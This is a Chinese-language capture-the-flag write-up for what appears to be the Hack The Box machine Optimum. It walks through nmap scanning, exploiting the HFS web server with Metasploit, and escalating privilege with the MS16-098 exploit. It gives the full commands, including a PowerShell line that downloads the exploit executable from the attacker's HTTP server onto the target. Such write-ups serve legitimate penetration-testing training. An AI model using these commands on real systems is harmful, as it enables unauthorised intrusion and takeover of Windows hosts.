首先打开靶场,直接nmap开扫。
nmap -sV -Pn -A 10.10.10.8
 通过扫描结果知道开启了80端口,80端口跑了HFS服务。顺势去msf搜索一下HFS有哪些漏洞
search hfs
 使用下面的hfs的命令执行,然后看下要配置哪些东西
use 1
options
 需要配置好远程主机,本地主机,配置好,run。多run几次,前面几次容易失败,而且要等挺久的。
set RHOSTS 10.10.10.8
set LHOSTS 10.10.14.17
run
利用成功后,返回meterpreter。然后看下当前文件夹的文件。能看到user的flag  可以直接读取user.txt.txt或者进入shell,读取user.txt.txt
#直接读取
cat user.txt.txt
 接着继续找,看能不能进administrator文件夹,发现不能,而且也不能新建用户。   想着直接用msf的提权,但是执行后没有获得权限。那么我们应该怎么提权呢?看下打了哪些补丁。systeminfo还是能执行的。  拿到这个信息后,使用Windows-Exploit-Suggester脚本对比,看下突破点。(这个地方我怎么跑这个脚本都不行,说xlrd报错,这个脚本是用python2写的,大家注意。) 地址为https://git哈布.com/AonCyberLabs/Windows-Exploit-Suggester。使用方法看一下readme就行。记得是python2而且要装xlrd。
将远端的systeminfo信息复制下来,然后使用下面这条命令对比
python2 windows-exploit-suggester.py --database 2021-04-21-mssb.xls --systeminfo sysinfo.txt
对比结果能发现可以使用MS16–098提权。可以通过这个链接获取提权的exe。
https://git哈布.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe
下载后,在exe文件夹下启动一个本地的http服务器
python3 -m http.server 888
然后在靶机的shell中执行以下命令
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.17:888/41020.exe', 'c:\Users\Public\Downloads\41020.exe')"
这个命令的意思是下载10.10.14.17上面的41020.exe,然后放在后面的位置下面。  在对应位置找到,然后执行41020.exe,顺利拿到最高权限  去到users/administrator/desktop下面拿到root.txt,搞定。  后记:发现前面的users.txt不难,但是在后面提权过程中就涉及到了python2环境等问题,很麻烦。特别是Windows-Exploit-Suggester脚本执行的不成功,我那段是直接参考了别人的内容,大家可以自己试试。特别kali似乎不带pip2,可以参考后面的链接。
参考链接 https://ranakhalil101.medium.com/hack-the-box-optimum-writeup-w-o-metasploit-3a912e1c488c pip2安装的链接可以参考: https://www.cnblogs.com/lzkalislw/p/15579620.html
|